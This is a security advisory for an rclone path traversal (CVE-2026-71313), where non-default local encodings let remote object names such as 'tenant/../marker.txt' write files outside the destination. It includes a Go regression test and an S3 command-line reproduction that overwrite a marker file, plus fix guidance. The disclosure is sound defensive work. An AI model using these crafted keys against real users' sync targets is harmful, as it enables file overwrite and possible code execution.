GHSA-7p4m-qxvv-g567 BIT-rclone-2026-71313 CVE-2026-71313 GO-2026-6186
rclone: Local Encoding Path Traversal
- Severity
- 6.9 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.30%
- Chance of exploitation in the next 30 days. Higher than 22.48% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
1.75.0- Upgrade github.com/rclone/rclone to this version or later
Description
Summary
The local backend relies on its configurable filename encoder to prevent remote filename data from becoming operating-system path syntax. If a local destination uses an encoding that omits Dot, such as Slash, None, or Raw, a remote object's standard-encoded .. component is decoded into an actual .. component. backend/local.localPath then passes the decoded name to filepath.Join, which resolves the component and produces a path outside the configured local root.
An attacker who can create object names in a remote source that a victim copies or synchronizes to such a local destination can create or overwrite files outside the selected destination directory, with the permissions of the rclone process.
The default local encoding includes Dot and is not affected by that exact path. This finding requires a non-default local encoding that preserves filesystem path syntax. On Windows, a second confirmed form uses a preserved backslash to turn a remote filename into a native ..\file path even when the destination encoding still includes Dot.
This is not merely an odd filename-conversion result. The local remote's configured root is the destination selected by the user, and ordinary backend operations are expected to remain within it. Rclone documents custom and Raw encodings as filename-conversion controls; it does not document them as an opt-out from destination confinement. The defect is that confinement depends on an encoding mask instead of an independent post-conversion path check.
Affected Assets & Attack Surface
Confirmed affected versions
v1.51.0throughv1.74.4- Local development commit tested:
a0c09f1381ae93e2a9a33c529d170186c61ad058 - Public
masterinspected through commitc99b2d11edb0986cd2b1190e9fa25a58a3f12661(2026-07-23)
v1.51.0 introduced the configurable encoding option for the local backend. Encodings such as None or Slash could omit Dot from that version onward. The explicit Raw encoding was introduced later, in v1.68.0.
Required destination configuration
The destination is a local backend whose effective encoding does not safely encode . and .. components. Examples include:
--local-encoding Slash
--local-encoding None
--local-encoding Raw
The first PoC below uses Slash. Default configurations are not affected because the platform-specific encoder.OS masks include Dot.
On Windows, custom encodings that omit BackSlash can introduce an additional traversal form: an object-key component such as ..\marker.txt can become a native path separator plus .., even if the encoding still contains Dot. The fix therefore should enforce containment after conversion to the native path format rather than only require the Dot flag.
Attacker-controlled input
The relevant input is an object name returned by a source backend. The confirmed source case is S3:
backend/s3/s3.go:2554converts raw object keys to rclone's standard path representation withf.opt.Enc.ToStandardPath.- A raw
..component becomes the standard component... - When the destination local encoder omits
Dot,FromStandardPathdecodes..back to...
Amazon S3 permits relative path components when their left-to-right cumulative count does not exceed the preceding non-relative components. Consequently, an object named:
tenant/../marker.txt
is valid. When the victim's source remote is rooted at bucket/tenant/, the relative object name becomes ../marker.txt before standard encoding. A malicious S3-compatible endpoint can return equivalent keys without relying on Amazon S3.
Reachable operations
The unsafe path resolver is used throughout the local backend, including:
backend/local/local.go:798—localPathbackend/local/local.go:803—Putbackend/local/local.go:979—Movebackend/local/local.go:1534—Object.Updatebackend/local/local.go:1747—Object.Remove- Local directory creation and object lookup operations that call
localPath
Normal copy and synchronization propagate the source name to the destination:
fs/sync/sync.go:518passessrc.Remote()tooperations.Copy.fs/operations/copy.go:390uses that remote name for destinationPutorUpdate.
Commands that copy attacker-controlled source objects to a local destination are therefore in scope, including copy, sync, and move.
Technical Root Cause Analysis
Rclone represents backend filenames using its standard encoding. lib/encoder/standard.go defines encoder.Standard with EncodeDot, causing raw names equal to . or .. to be represented by fullwidth characters:
. -> .
.. -> ..
When a standard path is converted for a destination backend, lib/encoder/encoder.go:1214-1240 performs the following transformation for every path component:
func FromStandardName(e Encoder, s string) string {
if e == Standard {
return s
}
return e.Encode(Standard.Decode(s))
}
For a destination encoding that omits Dot:
Standard.Decode("..")returns"..".- The destination encoder leaves
".."unchanged. FromStandardPathreturns a path containing an actual parent-directory component.
The local backend then constructs the native path without validating containment:
func (f *Fs) localPath(name string) string {
return filepath.Join(f.root, filepath.FromSlash(f.opt.Enc.FromStandardPath(name)))
}
filepath.Join cleans the resulting path. For example:
root: /tmp/destination
name: ../marker.txt
result: /tmp/marker.txt
Put creates an object from src.Remote(), and Object.Update eventually opens that resolved path using:
os.O_WRONLY | os.O_CREATE | os.O_TRUNC
There is no subsequent filepath.Rel check, anchored filesystem operation, or rejection of an absolute, volume-qualified, . or .. result.
The default encoder masks the defect because it re-encodes .. as a literal fullwidth directory name. That is not a sufficient security boundary: the encoding is explicitly configurable, including an officially documented Raw value that disables conversion.
The local backend contains an existing os.Root mechanism used while translating symlinks, but ordinary local writes do not use it. In the default non---links mode, mkdirAll, openFile, rename, and remove operations use ordinary filesystem paths.
Proof of Concept & Evidence
Deterministic regression test
Add the following test to the backend/local package. It requires no external storage service. It uses S3's actual default encoding mask to construct the same standard Remote() value that an S3 key with a relative .. component produces.
package local
import (
"bytes"
"context"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/rclone/rclone/fs/config/configmap"
"github.com/rclone/rclone/fs/object"
"github.com/rclone/rclone/lib/encoder"
"github.com/stretchr/testify/require"
)
func TestLocalEncodingWithoutDotEscapesRoot(t *testing.T) {
ctx := context.Background()
outer := t.TempDir()
// S3's default encoder converts a raw ".." object-key component
// into rclone's standard fullwidth representation.
s3Encoding := encoder.EncodeInvalidUtf8 | encoder.EncodeSlash | encoder.EncodeDot
remote := s3Encoding.ToStandardPath("../marker.txt")
require.NotEqual(t, "../marker.txt", remote)
// The default local encoding includes Dot and keeps the path confined.
safeRaw, err := NewFs(ctx, "safe", filepath.Join(outer, "safe"),
configmap.Simple{"encoding": encoder.OS.String()})
require.NoError(t, err)
safe := safeRaw.(*Fs)
rel, err := filepath.Rel(safe.root, safe.localPath(remote))
require.NoError(t, err)
require.False(t,
rel == ".." ||
strings.HasPrefix(rel, ".."+string(filepath.Separator)))
// Removing Dot converts the same component to a real "..".
unsafeRaw, err := NewFs(ctx, "unsafe", filepath.Join(outer, "destination"),
configmap.Simple{"encoding": "Slash"})
require.NoError(t, err)
unsafe := unsafeRaw.(*Fs)
// Place an existing file outside the configured destination.
escaped := filepath.Join(filepath.Dir(unsafe.root), "marker.txt")
require.NoError(t, os.WriteFile(escaped, []byte("original"), 0600))
payload := "attacker-controlled"
src := object.NewStaticObjectInfo(
remote, time.Now(), int64(len(payload)), true, nil, nil)
_, err = unsafe.Put(ctx, bytes.NewBufferString(payload), src)
require.NoError(t, err)
got, err := os.ReadFile(escaped)
require.NoError(t, err)
require.Equal(t, payload, string(got))
}
Run:
go test ./backend/local -run '^TestLocalEncodingWithoutDotEscapesRoot$' -count=1 -v
Observed result against commit a0c09f1381ae93e2a9a33c529d170186c61ad058:
=== RUN TestLocalEncodingWithoutDotEscapesRoot
--- PASS: TestLocalEncodingWithoutDotEscapesRoot
PASS
The test establishes both sides of the issue:
- The default local encoding keeps the generated path under the root.
encoding=SlashcausesPutto overwrite a pre-existing file outside the root.
Confirmed Windows backslash variant
A second regression test was run on Windows using the standard remote name:
..\backslash-marker.txt
and a local destination configured with:
encoding = Slash,Dot
This mask retains Dot, so it is not vulnerable to the fullwidth-dot decoding sequence above, but it omits BackSlash. FromStandardPath consequently preserves the backslash; after native conversion, filepath.Join interprets it as a separator and resolves the preceding ... Calling Put overwrote a marker next to the destination root. The test passed on Windows/amd64 against commit a0c09f138.
This variant demonstrates why rejecting only configurations that omit Dot is incomplete. The security check must run after conversion to the platform's native path representation.
S3 command-line reproduction
Perform this test only with a disposable bucket and temporary local paths.
printf 'attacker-controlled\n' > payload.txt
aws s3api put-object \
--bucket "$BUCKET" \
--key 'tenant/../rclone-traversal-marker.txt' \
--body payload.txt
rm -rf /tmp/rclone-destination
rm -f /tmp/rclone-traversal-marker.txt
mkdir -p /tmp/rclone-destination
rclone copy \
"s3remote:${BUCKET}/tenant/" \
/tmp/rclone-destination \
--local-encoding Slash \
-vv
test ! -e /tmp/rclone-destination/rclone-traversal-marker.txt
test -f /tmp/rclone-traversal-marker.txt
grep -F 'attacker-controlled' /tmp/rclone-traversal-marker.txt
Expected result:
/tmp/rclone-traversal-marker.txt
is created outside:
/tmp/rclone-destination
The S3 key is rooted under the string prefix tenant/, so it is returned by a listing of that prefix. Rclone preserves its logical .. component using standard encoding until the custom local destination encoder decodes it.
Impact Assessment
The direct impact is creation or overwrite of files outside the configured local destination as the rclone process user.
Realistic consequences include:
- Destruction or corruption of files accessible to the rclone account.
- Modification of user startup files, application configuration, service data, or executable search paths.
- Possible persistence or code execution in the rclone user's security context if the attacker can target a file that another component subsequently executes or loads.
- Greater host impact when rclone runs as a privileged backup, synchronization, container, or system service account.
Default local configurations are protected from the demonstrated .. component by Dot encoding. The required non-default encoding materially reduces exploitability but does not make the behavior safe or expected: disabling filename conversion should cause unrepresentable names to fail, not reinterpret an object name as a path outside the selected destination.
Remediation Guidance
Enforce containment after native-path conversion
The primary fix should be in the local backend, after FromStandardPath and filepath.FromSlash have produced the native path. Security must not depend on any particular encoding mask.
Refactor localPath, or introduce a checked equivalent, so it can return an error. The check should:
- Convert the standard remote name using the configured local encoding.
- Convert separators to the native format.
- Reject any non-empty result for which
filepath.IsLocalis false. This rejects absolute, volume-qualified, and lexically escaping paths using platform-aware rules. - Join the result to
f.root. - Calculate
filepath.Rel(f.root, candidate)using the normalizedf.root, not the original user-supplied root string. - Reject
rel == "..", any relative path beginning with".." + filepath.Separator, and any absolute relative result.
Illustrative logic:
func (f *Fs) checkedLocalPath(remote string) (string, error) {
native := filepath.FromSlash(f.opt.Enc.FromStandardPath(remote))
// Some root-level backend operations legitimately resolve the empty name.
if native != "" && !filepath.IsLocal(native) {
return "", fmt.Errorf("invalid local object path %q: not a local relative path", remote)
}
candidate := filepath.Join(f.root, native)
rel, err := filepath.Rel(f.root, candidate)
if err != nil {
return "", fmt.Errorf("invalid local object path %q: %w", remote, err)
}
if filepath.IsAbs(rel) ||
rel == ".." ||
strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return "", fmt.Errorf("local object path %q escapes the configured root", remote)
}
return candidate, nil
}
This is illustrative rather than a complete patch. The implementation should account for the local backend's Windows UNC normalization and return an existing rclone path-validation error type if one is available.
A naive string-prefix comparison must not be used because paths such as /root-other share a textual prefix with /root. filepath.IsLocal protects the decoded relative name, while the independent filepath.Rel check verifies the final candidate against the normalized root. Retaining both makes the intended invariant explicit.
Apply the check to every local filesystem entry point
The checked resolver must protect all operations that accept an fs remote name, not only Put. At minimum, review and update:
NewObjectand object construction.Put,PutStream, andUpdate.Mkdir,Rmdir, and directory metadata operations.Move,DirMove, and copy/rename helpers.Removeand cleanup of failed or partial transfers.- Metadata and hash operations that resolve a remote name to a local path.
If changing localPath to return an error is impractical, validate the decoded path before constructing an Object or Directory and ensure no public backend operation can reach the unchecked helper.
Consider anchored filesystem operations
The existing os.Root support in backend/local/local.go rejects paths that escape its root and may be reusable. Applying anchored operations to all local mutations would provide stronger protection against both lexical traversal and symlink races.
This requires compatibility review: ordinary local copies currently may intentionally follow pre-existing destination symlinks when symlink translation is disabled. A lexical containment check can fix this finding without changing that behavior, whereas applying os.Root universally may intentionally prevent writes through symlinks that point outside the root.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/rclone/rclone | >= 1.51.0, < 1.75.0 |
1.75.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/rclone/rclone Go → 1.75.0
- go
go get github.com/rclone/rclone@v1.75.0 && go mod tidy
Severity breakdown
CVSS 3.1 6.9
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-38xv-hf3p-h7mq rclone: source object names can escape the configured root on upload | Medium | Also affects github.com/rclone/rclone |
| GHSA-2p48-j3qc-rx9f rclone: S3 multipart declared-length memory exhaustion | High | Also affects github.com/rclone/rclone |
| GHSA-p569-5gjg-9cmj rclone: RC per-server auth-proxy bypass | Critical | Also affects github.com/rclone/rclone |
| GHSA-xwwr-4h3p-r22c rclone serve s3: --auth-proxy without --auth-key authenticates nobody - full SigV4 signature bypass | Critical | Also affects github.com/rclone/rclone |
| GHSA-c476-6w5q-jw77 rclone: FTP cross-session auth-proxy backend confusion | High | Also affects github.com/rclone/rclone |
| GHSA-f8g7-2xjc-7mfh rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination | High | Also affects github.com/rclone/rclone |
| GHSA-p6m2-r3w9-mpxw rclone local: crafted Range request against a translated symlink panics (DoS) | Medium | Also affects github.com/rclone/rclone |
| GHSA-66hp-wgxq-6f5q rclone archive/zip: Zip Slip via unsanitized zip entry names lets a malicious archive escape its own namespace | Medium | Also affects github.com/rclone/rclone |
Credits: GitHub: cyberlanc3r
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor